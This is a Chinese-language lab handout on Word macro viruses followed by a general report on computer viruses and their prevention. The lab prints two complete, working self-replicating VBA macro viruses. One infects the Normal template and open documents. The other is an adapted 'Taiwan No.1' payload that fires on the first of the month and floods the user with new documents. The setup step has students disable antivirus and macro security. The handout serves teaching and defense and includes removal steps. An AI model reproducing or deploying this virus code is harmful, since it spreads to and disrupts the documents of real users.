Word宏病毒实验
1. 实验目的
Word宏是指能组织到一起为独立命令使用的一系列Word指令,它能使日常工作变得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。
2. 实验所需条件和环境
硬件设备:局域网,终端PC机。
系统软件:Windows系列操作系统
支撑软件:Word 2003
软件设置:关闭杀毒软;打开Word 2003,在工具à宏à安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic项目的访问
实验环境配置如下图所示:
宏病毒传播示意图
3. 实验内容和分析
为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
3.1. 例1 自我复制,感染word公用模板和当前文档
代码如下:
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox "MicroVirus by Content Security Lab"
End Sub
打开一个word文档,然后按Alt+F11调用宏编写窗口(工具à宏àVisual Basicà宏编辑器),在左侧的project—>Microsoft Word对象àThisDocument中输入以上代码,保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
3.1.1. 代码解释
以上代码的基本执行流程如下:
1) 进行必要的自我保护(写出上面代码中哪些代码属于本部分)
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
本例中只是屏蔽状态栏,以免显示宏的运行状态,并且修改公用模板时自动保存,不给用户提示。
2) 得到当前文档的代码对象和公用模板的代码对象(写出上面代码中哪些代码属于本部分)
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
3) 检查模板是否已经感染病毒,如果没有,则复制宏病毒代码到模板,并且修改函数名。(写出上面代码中哪些代码属于本部分)
With Host
If .Lines(1.1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, Ourcode
.ReplaceLine 2, "Sub Document_Close()"
If ThisDocument = nomaltemplate Then
.ReplaceLine 2, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
4) 执行恶意代码。(写出上面代码中哪些代码属于本部分)
MsgBox "MicroVirus by Content Security Lab"
3.2. 例2 具有一定破坏性的宏
我们可以对上例中的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾一号”的恶意代码部分为基础,为使其在word2003版本中运行,且降低破坏性,对源代码作适当修改)。
完整代码如下:
'moonlight
Dim nm(4)
Sub Document_Open()
'DisableInput 1
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'moonlight" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 3, "Sub Document_Close()"
If ThisDocument = NormalTemplate Then
.ReplaceLine 3, "Sub Document_Open()"
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
Count = 0
If Day(Now()) = 1 Then
try:
On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm(i) = Int(Rnd() * 10)
con = con * nm(i)
If i = 4 Then
tog$ = tog$ + Str$(nm(4)) + "=?"
GoTo beg
End If
tog$ = tog$ + Str$(nm(i)) + "*"
Next i
beg:
Beep
ans$ = InputBox$("今天是" + Date$ + ",跟你玩一个心算游戏" + Chr$(13) + "若你答错,只好接受震撼教育......" + Chr$(13) + tog$, "台湾NO.1 Macro Virus")
If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then
Documents.Add
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Beep
With Selection.Font
.Name = "细明体"
.Size = 16
.Bold = 1
.Underline = 1
End With
Selection.InsertAfter Text:="何谓宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="我就是......"
Selection.InsertParagraphAfter
Selection.InsertParagraphAfter
Selection.Font.Italic = 0
Beep
Selection.InsertAfter Text:="如何预防宏病毒"
Selection.InsertParagraphAfter
Beep
Selection.InsertAfter Text:="答案:"
Selection.Font.Italic = 1
Selection.InsertAfter Text:="不要看我......"
GoTo out
Else
Count = Count + 1
For j = 1 To 20
Beep
Documents.Add
Next j
Selection.Paragraphs.Alignment = wdAlignParagraphCenter
Selection.InsertAfter Text:="宏病毒"
If Count = 2 Then GoTo out
GoTo try
End If
Wend
End If
out:
End Sub
该病毒的效果如下(请写出):
该病毒触发机制为时间触发。
将电脑日期改为1号,就将触发病毒。
当打开被感染的word文档时,首先进行自我复制,感染word模板,然后检查日期,看是否是1日,即在每月的1日会发作,然后跳出一个对话框,要求用户进行一次心算游戏,这里只用四个小于10的数相乘,
如果作者的计算正确,那么就会新建一个文档,跳出如下字幕:
何谓宏病毒
答案我就是......
如何预防宏病毒
答案不要看我......
如果计算错误,新建20个写有“宏病毒”字样的word文档,然后再一次进行心算游戏,总共进行3次,然后跳出程序。关闭文档的时候也会执行同样的询问。
4. 清除宏病毒
请写出如何清除以上宏病毒。
法一:
1:打开受感染的病毒文档,进入宏编辑环境,打开normal->Microsoft word 对象->this document,清除其中的病毒代码。(只要删除即可)
2:然后打开project->Microsoft word->this document,清除其中的病毒代码。
3:模板的病毒代码只需在处理最后一个受感染的受感染文件时清除即可。然而在清除模板病毒后,如果打开其他受感染文件,模板将再次感染,因此,为了保证彻底清除病毒,可查看每个受感染文档的模板,如果存在病毒,则进行一次清毒。
法二:
用任务管理器结束word进程后,右键点击受感染word文档,用写字板打开, 并另存为RTF类型,此时该文件中不含有宏病毒文件,另存后将原染毒word文档彻底删除重新打开另存后的word,发现一切正常。
第二篇:有关计算机病毒的报告
对计算机病毒的报告
在信息化技术高速发展的今天,计算机成为涉及人们生活的各个领域的不可缺少的现代化工具,计算机在各个领域的普遍应用,给人们带来了极大的方便。任何事物都具有两面性,计算机也不例外,它也是一把两面开刃的刀子,当他感染了计算机病毒以后,又具有非常强大的破坏力。为了解计算机病毒的成因、破坏性和有效防范方法,笔者对计算机病毒进行了一些简单的调查研究。
一、 对计算机病毒进行调查的一些数据整理
(一)什么是计算机病毒
计算机病毒(Computer Virus)在《中华人民共和国计算机信息系统安全保护条例》中被明确定义,所谓计算机病毒指“编制者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。与医学上的“病毒”不同,计算机病毒不是天然存在的,是某些人利用计算机软件和硬件所固有的脆弱性编制的一组指令集或程序代码。它能通过某种途径潜伏在计算机的存储介质(或程序)里,当达到某种条件时即被激活,通过修改其他程序的方法将自己的精确拷贝或者可能演化的形式放入其他程序中,从而感染其他程序,对计算机资源进行破坏。由此可见,所谓的病毒就是人为造成的,而且对其他用户的危害性很大。
(二)计算机病毒的特点
1、隐蔽性:病毒程序大都小巧玲珑,一般只有几百或1k字节,可以隐蔽在可执行文件夹或数据文件中,有的可以通过病毒软件检查出来,有的根本就查不出来。一般在没有防护措施的情况下,计算机病毒程序取得系统控制权后,可以在很短的时间里感染大量程序。而且受到传染后,计算机系统通常仍能正常运行,使用户不会感到任何异常。
2、传染性:传染性是病毒的一个重要特征,也是确定一个程序是否是计算机病毒的首要条件。病毒具有很强的再生机制,它通过各种渠道从已被感染的计算机扩散到未被感染的计算机,这段程序代码一旦进入计算机并得以执行,它会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。
3、潜伏性:一个编制巧妙的病毒程序,可在相当一段时间内潜伏在合法文件中而不被人发现,在此期间,病毒实际上已逐渐繁殖增生,并通过备份和副本感染其他系统。
4、激发性:在一定条件下,通过外界刺激可使病毒程序活跃起来,并发起攻击。触发条件可以是一个或多个,例如某个日期、某个时间、某个事件的出现、某个文件的使用的次数以及某种特定软硬件环境等。
5、破坏性:计算机系统是开放性的,开放程度越高, 软件所能访问的计算机资源就越多,系统就越易受到攻击。病毒的破坏性因计算机病毒的种类不同而差别很大。轻者会降低计算机工作效率,占用系统资源,重者可导致系统崩溃。而且,以前人们一直以为,病毒只能破坏软件,对硬件毫无办法,可是CIH病毒打破了这个神话,因为它竟然在某种情况下可以破坏硬件!
(三)计算机病毒的传播途经
计算机病毒的传播是通过复制文件,文件传送,运行程序等方式进行的。它的传播媒介主要有以下几种;
1、硬盘传播:由于带病毒的硬盘在本地或者移到其他地方使用,维修等被病毒传染并将其扩散。
2、光盘传播:大多数软件都刻录在光盘上,由于普通用户购买正版软件的较少,一些非法商人就将软件放在光盘上,在复制的过程中将带病毒文件刻录在上面。
3、u盘传播:u盘携带方便,为了方便计算机相互之间传递文件,经常使用u盘,就将一台计算机的病毒传播到另一台。
4、网络传播:在计算机日益普及的今天人们通过计算机网诺相互传递文件,信件,这样使病毒传播速度加快,因为资源的共享,人们经常网上下载、共享文件,病毒文件难免夹带在其中,网络就成了现代病毒传播主要方式。
(四)计算机病毒的破坏性
综合对计算机病毒的破坏性的研究,笔者认为主要有以下几种:
一是计算机病毒激发对计算机数据信息的直接破坏作用。
二是计算机病毒可以大量占用磁盘空间从而对信息产生破坏作用。
三是计算机病毒非法抢占系统资源。
四是计算机病毒影响计算机运行速度。
五是计算机病毒错误与不可预见的危害
六是计算机病毒的兼容性对系统运行的影响。
七是计算机病毒给用户造成严重的心理压力
大部份的病毒都是把电脑程序及数据破坏,导致系统崩溃。还有所谓的“木马”,其实“木马”也是病毒的一种,不过是病毒的一个大的分支,木马病毒大都是以盗窃用户电脑内的银行账号、游戏账号、个人资料等信息为目的,并且还占用大量系统资源,导致系统运行缓慢、打卡程序迟钝、死机、蓝屏等等。
二、计算机病毒的防治
纵观计算机病毒的发展历史,计算机病毒已经从最初的挤占CPU资源、破坏硬盘数据逐步发展成为破坏计算机硬件设备,并向着更严重的方向发展(战略武器),有谁能保证它们未来不破坏更重要的东西呢?怎样保护电脑,怎样使自己不因病毒作祟而蒙难、使病毒危机不引起我们的生存危机?笔者认为,对付计算机病毒,无非两个办法:一是防二是治。防就是采取各种安全措施预防病毒,不给病毒以可乘之机。治就是使用各种杀毒程序,把病毒杀死,从电脑中清除出去。
(一)预防病毒是最重要的
杀毒软件做得再好,也只是针对已经出现的病毒,它们对新的病毒是无能为力的。而新的病毒总是层出不穷,并且在Internet高速发展的今天,病毒传播也更为迅速。一旦感染病毒,计算机就会受到不同程度损害。虽然到最后病毒可以被杀掉,但损失却是无法挽回的。所以要坚持预防为主的原则,尽量保护自己的计算机不受病毒感染。
1、不要随便拷贝来历不明的软件,不要使用未经授权的软件。游戏软件和网上的免费软件是病毒的主要载体,使用前一定要用杀毒软件检查,防患于未然。一般不要在工作机上玩游戏。
2、给系统盘与文件加以写保护,防止被感染。系统盘是病毒感染的主要对象之一,因为系统盘一般不需要写入东西,所以最好加上写保护。
3、系统和重要软件及时备份,以防系统遭到破坏时,把损失降到最小限度。在计算机没有染毒时,一定要一份或多份系统的备份,必要时刻录成光盘或其他存储设备中。因为很多病毒虽然杀除后就消失了,但也有些病毒在电脑一启动时就会驻留在内存中,在这种带有病毒的环境下杀毒只能把它们从硬盘上杀除,而内存中还有,杀完了立刻又染上,只有把系统重新安装才能确保病毒全部清除。备份系统时一定要保证计算机中是没有病毒的,否则的话只会适得其反。
4、安装病毒检测和杀毒软件对计算机进行检测和查杀,及时发现病毒、消除病毒。
(二)发现病毒及时清除
尽管采取了各种预防措施,有时仍不免会染上病毒。因此,检测和消除病毒仍是用户维护系统正常运转所必须的工作。目前流行的杀毒软件较多,主要有瑞星、金山毒霸、360卫士、卡巴斯基等。
1、及时发现计算机已感染病毒。当使用计算机工作时,要能及时发现异常现象,比如计算机运行速度突然变慢,经常莫名其妙地重启、蓝屏等就要怀疑感染了病毒,及时进行查杀以免造成更大损失。
2、正确识别病毒防止“误杀”。有的杀毒软件为了过分追求杀毒辣效果,“宁可错杀一千,不可使一个漏网”,把不能识别的正常程序也当病毒给杀了,但杀掉之前一般要询问,这时就是仔细辨认,防止把有用的程序杀掉。
三、对计算机病毒进行调查结论
1计算机病毒是一些人为编制的程序代码,其种类越来越多,危害性越来越复杂。有些是以盗取他人的私人信息为目的,有些是以非法控制别人计算机为目的,还有的是以瘫痪别人计算机或网络系统为目的。
2计算机病毒的传播途径多种多样。有的通过硬盘传播,有的通过光盘传播,有的通过移动硬盘(U盘)传播,还有的通过网络传播。只有从多方面进防范才能有效厄制计算机病毒传播。
3计算机病毒具有很强的破坏性。只有充分认清其危害,才能引起高度重视,积极采取各种措施对计算机病毒进行防制。